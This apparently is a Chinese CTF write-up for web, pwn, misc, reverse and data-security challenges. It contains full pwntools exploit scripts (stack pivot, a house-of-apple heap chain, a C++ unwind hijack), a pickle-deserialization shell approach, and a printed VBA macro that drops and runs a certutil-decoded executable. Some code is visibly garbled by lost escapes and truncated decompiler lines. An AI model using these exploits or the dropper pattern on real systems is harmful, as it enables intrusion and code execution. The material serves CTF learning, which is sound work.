Web
web1
思路是先上传一个执行命令的jar包,打两次才可以,第一次让JVM加载个恶意反序列化类,但是不会触发类加载,得第二次反序列化那个类才会去加载。
web2
?lyrics=***存在任意文件读取,
首先访问/lyrics?lyrics=/usr/etc/app/app.py,
/lyrics?lyrics=/usr/etc/app/cookie.py得到源码
import os
import random
from flask import Flask, make_response, request, render_template
from config.secret_key import secret_code
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
cookie.py
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
# Compatibility layer for Python 3
unicode = str
basestring = str
secret_code = "EnjoyThePlayTime123456"
data=
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value too long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode
(s)
/lyrics?lyrics=/usr/etc/app/config/secret_key.py下得到secret_code
一眼pickle反序列化,思路跟去年差不多,不过waf过滤了R指令,所以用o指令伪造session传递到pickle反序列化那弹shell。
Pwn
pwn1
一道板子栈溢出+栈迁移 迁移到bss段就行了 注意地址不要太低 否则会操作到不可写地址
from pwn import *
p=remote('139.155.126.78',31216)
#p=process('./pstack')
elf=ELF("./pstack")
def debug():
gdb.attach(p)
pause()
context.arch='amd64'
context.log_level='debug'
libc=elf.libc
poprdi=0x0000000000400773
poprsi2=0x0000000000400771
leave=0x00000000004006db
bss=0x601a00
payload1=b'a'*0x30+p64(bss)+p64(0x4006C4)
payload2=p64(bss)+p64(poprdi)+p64(0x0000000000600fc8)+p64(0x4006BF )
p.sendafter(b' overflow?n',payload1)
p.send(payload2.ljust(0x30 ,b'x00')+p64(bss-0x30)+p64(leave))
leak=u64(p.recv(6).ljust(8,b'x00'))-libc.symbols['puts']
print(hex(leak))
#debug()
#p.sendline(b'11')
p.send(p64(poprdi)+p64(leak+next(libc.search(b'/bin/shx00')))+p64(leak+libc.symbols['system'])+p64(leave)+p64(0)*2+p64(bss-0x30-8)+p64(leave))
p.interactive()
pwn2
一道堆风水的屌丝菜单题
size限制的比较死 edit也只有一次机会
通过最后一个功能很容易获得这次edit的机会
漏洞很明显 free的时候指针未清除
那么把堆块大小分为大中小
Leak addr
通过构造大小两堆块 ,再相继free掉 在原来的地址申请两个中堆块 free前的指针残留了 而show检测的城市可以是起始点和目的地一致 恰好原位置对应索引都是0 简单show变能得到后面中堆块(也要free 可得到libc和heap地址)的残留地址
hijack
由于程序留了个edit 简单构造一下 glibc版本是2.35,打house of apple 拿edit功能写残留指针到largebin去完成
EXP
from pwn import *
p=remote('139.155.126.78',39813)
#p=process('./Travel')
elf=ELF("./Travel")
def debug():
gdb.attach(p)
pause()
context.arch='amd64'
context.log_level='debug'
libc=elf.libc
cities = [
"guangzhou", # 对应内存地址 0x5020
"nanning", # 对应内存地址 0x5030
"changsha", # 对应内存地址 0x5040
"nanchang", # 对应内存地址 0x5050
"fuzhou" # 对应内存地址 0x5060
]
def cmd(idx):
p.sendlineafter(b'istance.',str(idx))
def add(tran,fromcity,to,l,cnt):
cmd(1)
p.sendlineafter(b'What kind of transportation do you want? car/train/plane?',str(tran))
p.sendlineafter(b'From where?',str(cities[fromcity]))
p.sendlineafter(b'To where?',str(cities[to]))
p.sendlineafter(b'How far?',str(l))
p.sendafter(b'Note:',cnt)
def delete(fromcity,to):
cmd(2)
p.sendlineafter(b'From where?',str(cities[fromcity]))
p.sendlineafter(b'To where?',str(cities[to]))
def show(fromcity,to):
cmd(3)
p.sendlineafter(b'From where?',str(cities[fromcity]))
p.sendlineafter(b'To where?',str(cities[to]))
def edit(fromcity,to,idx,l,cnt):
cmd(4)
p.sendlineafter(b'From where?',str(cities[fromcity]))
p.sendlineafter(b'To where?',str(cities[to]))
p.sendlineafter(b'you want to change?',str(idx))
p.sendlineafter(b'How far?',str(l))
p.sendafter(b'Note:',cnt)
def dij(fromcity):
cmd(5)
p.sendlineafter(b'Where do you want to travel?',str(cities[fromcity]))
add('car',0,1,0x3e8,b'a'*0x500)
add('car',1,2,0x3e8,b'b'*0x500)
add('car',2,3,0x3e8,b'c'*0x500)
dij(3)
dij(3)
dij(3)
dij(3)
add('car',0,2,0x3e8,b'a'*0x500)
add('car',0,2,0x3e8,b'a'*0x500)
add('car',0,4,0x3e7,b'geduan'*0x10)
delete(0,2)
add('train',0,3,0x3e8,b'a'*0x500)
show(0,0)
p.recvuntil(b'Note:')
libc_base=u64(p.recv(6).ljust(8,b'x00'))-(0x773e01a1ace0-0x773e01800000)
print('libc------_>',hex(libc_base))
#debug()
delete(0,4)
add('train',1,3,0x3e8,b'chunk1'*20)#chunk1
add('car',1,4,0x3e8,b'geduan'*20)
delete(0,2)
#edit(0,0,0,0x3e8,b'g'*8)
add('car',2,4,0x3e8,b'chunk3'*2)#chunk2qqqqqqqqqqqqqqqqqqqqqqqqqqq
delete(1,3)
add('plane',3,4,0x3e8,b'geduan'*20)
delete(2,4)
add('plane',3,4,0x3e8,b'geduan'*20)
show(0,0)
p.recvuntil(b'Note:')
heap=u64(p.recv(6).ljust(8,b'x00'))
add('car',2,4,0x3e8,b'c')#chunk21111111111111111111111111111111111111
add('train',3,4,0x3e8,b'chunk1'*20)#chunk1
#edit(0,0,0,0x3e8,p64(0)*3+p64(leak+libc.symbols['_IO_list_all']-0x20))
delete(3,4)
delete(2,4)
delete(1,4)
delete(0,3)
add('plane',0,3,0x3e8,b'geduan'*20)
add('train',0,4,0x3e8,b'geduan'*20)#chunk1
print('libc------_>',hex(libc_base))
print('heap------_>',hex(heap))
add('plane',0,3,0x3e8,b'geduan'*20)
lock = libc_base+(0x717c97a1ca60-0x717c97800000)
magic_gadget=libc_base+0x00000000001136df
wfile = libc_base + libc.sym['_IO_wfile_jumps']
setcontext=libc_base+libc.symbols['setcontext']+61
rdi=0x000000000002a3e5+libc_base
rsi=0x000000000002be51+libc_base
rdx2=0x000000000011f2e7+libc_base
heap+=0x30
orw=0
pl=p64(0)+p64(0) #2c0
#_IO_list_all
pl+=p64(0)*3 #2e0
pl+=p64(0) #orw_addr =chunk0 ( fake_IO_addr )+ 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(heap + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile) #__GI__IO_wfile_jumps p *(struct _IO_wide_data*)&_IO_wfile_jumps
#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(heap + 0xe0 + 0xe8) #_IO_jump_t (vtable)
#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget) #p *(const struct _IO_jump_t *)
pl+=flat({
0:'/flagx00',
0x18:p64(setcontext),
0x40:p64(heap+0xe0+0xe8+0x48),#rdx
0x78:p64(heap+0xe0+0xe8+0xe8),
0x80:p64(rdi),
0x88:p64(heap+0xe0+0xe8+0x70),
0x90:p64(rsi),
0xa0:p64(rdx2),
0xb8:p64(libc_base+libc.symbols['open']),
0xb8+8:p64(rdi),
0xc0+8:p64(3),
0xd0:p64(rsi),
0xd8:p64(heap+0xe0+0xe8),
0xe0:p64(rdx2),
0xe8:p64(0x50),
0xf0:p64(0x50),
0xf8:p64(libc_base+libc.symbols['read']),
0x100:p64(rdi),
0x108:p64(heap+0xe0+0xe8),
0x110:p64(libc_base+libc.symbols['puts'])
},filler=b'x00')
add('car',2,4,0x3e8,pl)#chunk2
delete(0,4)
add('plane',0,3,0x3e8,b'geduan'*20)
delete(2,4)
edit(0,0,0,0x3e8,p64(0)+p64(0x531)+p64(0)*3+p64(libc_base+libc.symbols['_IO_list_all']-0x20))
add('plane',0,3,0x3e8,b'geduan'*20)
# ► 0x7af376b136df <__spawni_child+1423> mov rdx, qword ptr [rax + 0xb0]
# 0x7af376b136e6 <__spawni_child+1430> call qword ptr [rax + 0x88]
#debug()
# add('plane',0,3,0x3e8,b'a'*0x500+p64(0x521)*2+p64(0)+p64(0x3ee))
#add('train',0,3,0x3e8,b'a'*0x500+2*p64(0x541))
#delete(0,0)
#delete(2,4)
#
#add('plane',3,4,0x3e8,b'geduan'*20)
#show(0,2)
#p.recvuntil(b'aaaaaaaaaaaaaaaa')
#leak=u64(p.recv(6).ljust(8,b'x00'))-(0x773e01a1ace0-0x773e01800000)
#
#edit(0,2,0,0x3e8,p64(0x521))
p.interactive()
pwn3
popen命令执行 过滤了一些特殊符号 但是影响不大
很多思路 一个思路是将/flag cp 进/home/ctf/html,再直接读取即可
pwn4
一道沙盒题 UAF+house of apple劫持执行流板子题就不多说了
之后的沙盒部分详见博客记2024羊城杯的一道沙盒pwn题
pwn5
一道c++异常机制的板子题
题目内有后门 但是需要控制参数 而参数在功能1可覆写
了解原理后 功能2中进行栈溢出 控制bp为可写区域 返回地址为0x401bc7
在unwind堆栈回溯时即可跳转到这里继续执行
from pwn import *
p=remote('139.155.126.78',34230)
#p=process('./logger')
elf=ELF("./logger")
def cmd(idx):
p.sendlineafter(b'chocie',str(idx))
def add(cnt):
cmd(1)
p.sendafter(b'rd log details here:',cnt)
p.sendlineafter(b'ds?',b'y')
def w(cnt):
cmd(2)
p.sendafter(b'our message here plz:',cnt)
add(p64(0x404020)+p64(0x404020))
add(p64(0x404030)*2)
for i in range(7):
add('/bin/shx00'*2)
#add(p64(0x48))
payload=p64(0x404020)+p64(elf.plt['system'])+0x60*b'a'+p64(0x404038)+p64(0x401BC7)
w(payload)
p.interactive()
Misc
misc6
相同思路的一道题:
https://blog.csdn.net/weixin_42831646/article/details/127989608
文件名字解base64得到shift!
该磁盘文件使用FTK挂载,发现需要密码。先010查看得到
进一步通过刚刚得到的shift!推测出密码是!@#$%^&
挂载成功得到
发现修改日期不是19就是20,推断为0或1的二进制,转换后得到the_key_is_700229c053b4ebbcf1a3cc37c389c4fa
使用Encrypto解密得到flag
Reverse
plc
ida打开 patch掉反调试
首先读取输入,若长度不为5则退出
然后将输入作为rc4密钥进行s盒置换
main_main_func1; =
v34; =
v82 = v78;
v35 = v34;
All = io_ReadAll(off_4DD9D8, v34, v78, 0, 1, v36, v37, v38, v39, v63, v67);
v45 = v77->ptr;
if ( v77->len <= 1 )
runtime_panicIndex(1LL);
v75 = All;
v73 = v45[1];
v46 = runtime_makeslice(&RTYPE_uint8, v35, v35, 0, 1, v41, v42, v43, v44, v64, v68, v71);
v48 = v75;
v49 = v35;
for ( i = 0LL; v49 > i; ++i )
+ i) = v73 ^ *(v48 + i);
v51 = v76;
v52 = *(v76 + 1024);
v53 = *(v76 + 1025);
for ( j = 0LL; v49 > j; ++j )
{
v55 = *(v51 + 4LL * ++v52);
v53 += v55;
v56 = *(j + v46);
+ 4LL * v52) = *(v51 + 4LL * v53);
+ 4LL * v53) = v55;
v47 = (v55 + *(v51 + 4LL * v52));
+ j) = *(v51 + 4 * v47) ^ v56 ^ 0x11;
}
+ 1024) = v52;
+ 1025) = v53;
10, v46, v49, v49, 420, v52, v53, v47, v65, v69, *v70, v72);
(*v82)();`
首先获取flag.png 然后将数据与输入的第二个字符异或后进行魔改rc4加密
rc4是单字节加密,且png文件头前八位不变,可以利用010读取加密过的flag文件头,然后仿写算法对密钥进行爆破
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
unsigned int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t] ^0x11;
}
}
int main(){
unsigned char key[]={30,30,30,30,30,0};
unsigned long key_len = sizeof(key) - 1;
unsigned char datat[]= {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};
unsigned char data[] = {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};
unsigned char tr[]={0x85,0x43,0x72,0x78,0x26,0xc0,0x2e,0x6e};
int cnt=1;
while(1){
rc4_crypt(data, sizeof(data), key, key_len);
for (int i=0;i<8;i++) data[i]^=key[1];
for (int i = 0; i < sizeof(data); i++){
if ((data[i])!=tr[i]){
break;
}
if (i==4) {
for (int j = 0; j < sizeof(key); j++){
printf("%c",key[j]);
}
return 0;
}
}
for (int i=0;i<8;i++) data[i]=datat[i];
for (int i=0;i<5;i++){
if (key[i]<125){
key[i]++;
break;
}else{
key[i]=30;
}
if (i==2) printf("%dn",key[4]);
}
if (key[4]==124) return 0;
}
return 0;}
爆破得到密码为0173d 利用rc4加密对称性,输入0173d即可还原flag
docCrack
https://www.52pojie.cn/thread-1634125-1-1.html
宏VBA密码工程文件密码破解
破解后看里面函数
tempPath = ThisDocument.Path & "temp1"
Set tempfile = fso.CreateTextFile(tempPath, True)
fso.GetFile(tempPath).Attributes = 1
tempfile.WriteLine xpkdb
tempfile.Close
batPath = ThisDocument.Path & "temp.bat"
Set batFile = fso.CreateTextFile(batPath, True)
fso.GetFile(batPath).Attributes = 2#改为1
batFile.WriteLine "@echo off"
batFile.WriteLine "cd /d " & ThisDocument.Path
batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"
batFile.WriteLine "del temp"#删掉
batFile.WriteLine "temp.exe " & """" & Result & """"
batFile.Close
Set objExec = objShell.Exec(batPath)
Set objStdOut = objExec.StdOut
Do While Not objStdOut.AtEndOfStream
output = Trim(objStdOut.ReadLine)
Loop
output = Left(output, Len(output))
StartTime = Timer
Do While Timer < StartTime + 1
DoEvents
Loop
fso.DeleteFile batPath
fso.DeleteFile tempPath
If output = "good" Then
temp = MsgBox("good!!!", , "congratulations!!!")
Exit Do
Else
temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????")
isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning")
End If
使用bat创建了一个temp.exe 执行后删除
我们修改代码使其可见并不被删除 执行宏 拖入ida
if ( argc == 2 )
{
for ( j = 0; j < j_strlen(argv[1]) && j < 0x36; ++j )
v7[j + 64] = argv1 << 6;
for ( j = 0; j < 0x36; ++j )
{
if ( v7[j] != v7[j + 64] )
{
sub_7FF77FF91190("bad");
return 0;
}
}
sub_7FF77FF91190("good");
return 0;
}
else
{
sub_7FF77FF91190("no way!!!");
return 1;
}
//发现是将输入数据向左移6位 写脚本解密
int main(){
unsigned char ida_chars[] =
{
0xC0, 0x10, 0x00, 0x00, 0x80, 0x11, 0x00, 0x00, 0x00, 0x15,
0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0xC0, 0x14, 0x00, 0x00,
0x40, 0x10, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x40, 0x14,
0x00, 0x00, 0x40, 0x19, 0x00, 0x00, 0x80, 0x19, 0x00, 0x00,
0x00, 0x16, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1D,
0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x18, 0x00, 0x00,
0x80, 0x19, 0x00, 0x00, 0x40, 0x1A, 0x00, 0x00, 0x00, 0x18,
0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00,
0x00, 0x1A, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x00, 0x1D,
0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00,
0x80, 0x09, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x40, 0x11,
0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00,
0x80, 0x19, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00, 0x80, 0x18,
0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00,
0x40, 0x18, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x80, 0x12,
0x00, 0x00, 0x80, 0x19, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00,
0x40, 0x1D, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00, 0x00, 0x16,
0x00, 0x00, 0x40, 0x14, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00,
0x40, 0x1D, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x80, 0x0C,
0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00,
0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09,
0x00, 0x00, 0x80, 0x1E, 0x00, 0x00
};
for (int i=0;i<sizeof(ida_chars);i+=4){
printf("%c",((((ida_chars[i+1]<<8)|(ida_chars[i]))&0xffff)>>6));//CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z
}
结果均为可见字符,这里随便猜一下是异或,将前六位异或“DASCTF”发现结果均为7
char tt[]="CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z";
for (int i=0;i<sizeof(tt);i++){
printf("%c",tt[i]^7);
}
得到flag
你这主函数保真吗
找到加密逻辑在__static_initialization_and_destruction_0函数里
挨个看,发现首先对输入进行ROT13,再进行离散余弦变换后与密文比较
for ( i = 0; i < size; ++i )
{
for ( j = 0; j < size; ++j )
{
v5 = *std::vector<int>::operator[](j, v10);
v2 = cos((j + 0.5) * (i * 3.141592653589793) / size);
v6 = v2 * v5;
v3 = std::vector<double>::operator[](i, v11);
*v3 = *v3 + v6;
}
if ( i )
v4 = sqrt(2.0 / size);
else
v4 = sqrt(1.0 / size);
v7 = v4;
eax9 = std::vector<double>::operator[](i, v12);
*eax9 = *eax9 * v7;
}
return retstr;
//首先进行逆离散余弦变换,然后进行rot13解密
char rot13(char c) {
// 检查字符是否为大写字母
if (c >= 'A' && c <= 'Z') {
return 'A' + (c - 'A' + 13) % 26;
}
// 检查字符是否为小写字母
else if (c >= 'a' && c <= 'z') {
return 'a' + (c - 'a' + 13) % 26;
}
// 其他字符保持不变
return c;
}
int main() {
double out[N] = { 513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.98641, -29.2989,
15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20771, 8.83506,
-4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,
-9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.689,
21.879, 26.8296/* 在这里填入你的DCT输出数据 */ };
double input[N];
double v2, v5, v6, v3;
// IDCT 计算
for (int i = 0; i < N; ++i) {
v3 = 0.0;
for (int j = 0; j < N; ++j) {
v5 = out[j]; // DCT系数
v2 = (j == 0) ? sqrt(1.0 / N) : sqrt(2.0 / N); // 权重
v6 = v2 * cos((i + 0.5) * (j * M_PI) / N); // 余弦函数
v3 += v5 * v6; // 累加结果
}
input[i] = v3; // 还原的输入值
printf("%c", (int)(input[i]+0.5));
}
printf("n");
char tt[]="QNFPGS{Ju0_1f_Zn1a_@aq_ShaaL_Qpg}";
for (int i=0;i<sizeof(tt);i++){
printf("%c",rot13(tt[i]));
}
return 0;
}
rustVM
题目难度简单 直接ida打开,看一眼逻辑
进行一些初始化操作,随便输入一点东西动态调试跑起来
这里进行长度检测和头尾检测,然后异或值匹配头部和尾部
同样是比较头尾和检验长度的操作,应该是混淆
这里有一大坨0x3f加上位运算,调试发现是对输入base64
然后传入关键函数,这个函数多次出现,flag经过base64转化为base64_res传入
找到关键的vm函数,进行简单分析
这里的opcode比较复杂,不同二进制位控制不同流程,上两位控制最外层,下位控制数组下标,这里写了一个加法器和一个异或器,下面还有一大堆重复调用,调试后发现a1[1048]决定a[1052]的大小,而在check里a[1052]必须为0,调试其他函数发现加法器并不影响值,直接断在异或处,反复调试拿到数据,异或一把梭。
import base64
#aa = [0x18,0x18,0x33,0xb1,0x18,0x9,0x36,0xa4,0xe,0xa6,0x13,0x2a,0x1c,0x9e,0x33,0x1b,0xc,0x96,0x36,0x57,0x05,0x5d,0x26,0xad,0x0c,0xae,0x36,0x75,0xd,0x65,0x25,0xac,0xd,0x9,0x3,0x8c,0x10,0xa0,0x35,0x76,0x0e,0x47,0x16,0x2c,0x8,0x10,0x38,0x01,0x0e,]
a = [0,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xA2,0x43,0x68,0x89,0x4,0x8f,0xB0,0x43,0x49,0x3A,0x18,0x39,0x72,0xc,0xBa,0x76,0x98,0x13,0x8b,0x46,0x33,0x2B,0x25,0xA2,0x8b,0x27,0xB7,0x61,0x7C,0x3F,0x58,0x56]
b= [0x18,0xb1,0x9,0xa4,0xA6,0x2A,0x9E,0x1B,0x96,0x57,0x5D,0xAd,0xAE,0x75,0x65,0xAC,0x09,0x8C,0xA0,0x76,0x47,0x2C,0x10,0x01,0x7C,0x0f,0xBa,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2D,0x2D,0x9A,0x87,0x31,0xBa,0x43,0x70,0x2C,0x4C,0x56]
cc=[]
for i in range(0,len(a)):
cc.append(a[i]^b[i])
print(cc)
dd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`"
flag = ''
for i in range(0,len(cc)):
# print(table[each],end='')
flag+= dd[cc[i]]
print(base64.b64decode(flag.encode("utf-8")))
(还有frida爆破和ponce爆破的方法,未完待续)
数据安全
1
直接根据数据特征排序数据
import csv
def read_csv_file(file_path):
data = []
with open(file_path, 'r', encoding='utf-8') as file:
reader = csv.reader(file)
for row in reader:
data.append(row)
return data
def is_chinese_char(s):
for c in s:
if u'u4e00' <= c <= u'u9fa5':
return True
return False
def is_all_number(s):
try:
float(s)
return True
except ValueError:
return False
def is_date(s):
if is_all_number(s) and len(s) == 8:
yyyy,mm,dd=(int(s[:4]), int(s[4:6]), int(s[6:]))
if yyyy>=1900 and yyyy <=2100 and mm>0 and mm<13 and dd>0 and dd<32:
return True
return False
def is_lower_or_num(s):
return s.islower() or s.isdigit()
def is_idcard(s):
if is_all_number(s) and len(s) == 18:
return True
elif len(s)==18 and is_all_number(s[:17]) and s[17:18] == "X":
return True
return False
# 读取csv文件,返回一个列表
file_path = 'person_data.csv'
data_list = read_csv_file(file_path)
ans=[]
num=0
for i in data_list:
if i[0] == "编号":
ans.append(i)
continue
num+=1
temp=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码']
for j in i:
if is_all_number(j) and int(j) == num:
temp[0]=j
elif j == "男" or j == "女":
temp[4] = j
elif is_chinese_char(j):
temp[3]=j
elif is_all_number(j) and len(j) == 11:
temp[7]=j
elif is_idcard(j):
temp[6]=j
elif is_date(j):
temp[5]=j
elif is_lower_or_num(j) and len(j) == 32:
temp[2]=j
else:
temp[1]=j
# print(num ,": error!!! | ",j)
ans.append(temp)
with open("结果.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans)
2
使用wireshark导出所有json的http数据包,发现最多导出1000条。
经过尝试,没有解决这个问题,改为把所有json数据,保存为pcapng文件。
手动编辑文件,只保留可见字符,编写脚本提取数据。
import re
import json
import csv
import os
with open('1.pcapng', 'r',encoding="utf-8") as f_in:
for line in f_in:
match = re.search(r'{"username": .*?}', line)
if match:
match.group()
data = json.loads(match.group())
keys = list(data.keys())
values = list(data.values())
with open("user.csv", 'a', newline='', encoding="utf-8") as f:
csv_writer = csv.writer(f)
if os.path.getsize("user.csv") == 0: # 如果csv文件为空,写入标题行
csv_writer.writerow(keys)
csv_writer.writerow(values)
对提取后的数据根据规范清洗数据。
import csv
import math
import re
def read_csv_file(file_path):
data = []
with open(file_path, 'r', encoding='utf-8') as file:
reader = csv.reader(file)
for row in reader:
data.append(row)
return data
def is_chinese_char(s):
for c in s:
if not(u'u4e00' <= c <= u'u9fa5'):
return False
return True
def is_all_number(s):
try:
float(s)
return True
except ValueError:
return False
def check_username(s):
return bool(re.match('^[a-zA-Z0-9]+$', s))
def check_id_card(id_card,sex,birth):
# 长度和格式校验
if len(id_card) != 18:
return False
W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
sum = 0 # 前17位累加和
for i in range(0, 17):
sum += int(id_card[i]) * W[i]
if id_card[17] != check[sum % 11]:
return False
else:
id_bitrh = id_card[6:14]
id_sex=""
if int(id_card[16]) % 2 == 1:
id_sex="男"
else:
id_sex="女"
if sex!=id_sex or birth!=id_bitrh:
return False
return True
def check_phone(s):
m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
if len(s) != 11 or not is_all_number(s):
return False
if int(s[:3]) not in m:
return False
return True
# 读取csv文件,返回一个列表
file_path = r'./user.csv'
data_list = read_csv_file(file_path)
# print(data_list)
ans=[]
ans1=[['username', 'name', 'sex', 'birth', 'idcard', 'phone']]
for i in data_list:
if i[0] == "username":
ans.append(i)
continue
# temp=['username', 'name', 'sex', 'birth', 'idcard', 'phone']
errnum=0
if not check_username(i[0]):
print("username error!!! : ",i)
errnum+=1
if not is_chinese_char(i[1]):
print("name error!!! : ",i)
errnum+=1
if not check_id_card(i[4],i[2],i[3]):
print("idcard error!!! : ",i)
errnum+=1
if not check_phone(i[5]):
print("phone error!!! : ",i)
errnum+=1
if errnum!=0:
ans.append(i)
else:
ans1.append(i)
with open("结果.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans)
with open("ans.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans1)
3
观察log日志,编写脚本提取数据
import re
import json
import csv
import os
import urllib.parse
def url_decode(url):
return urllib.parse.unquote_plus(url)
# 测试用例
with open('error.log', 'r',encoding="utf-8") as f_in:
values=[]
for line in f_in:
match = re.search(r'username=.*', line)
if match:
temp=match.group()
username = re.search(r'username=.*?&', temp).group()[9:-1]
name = re.search(r'&name=.*?&', temp).group()[6:-1]
idcard = re.search(r'&idcard=.*?&', temp).group()[8:-1]
phone = re.search(r'&phone=.*?$', temp).group()[7:]
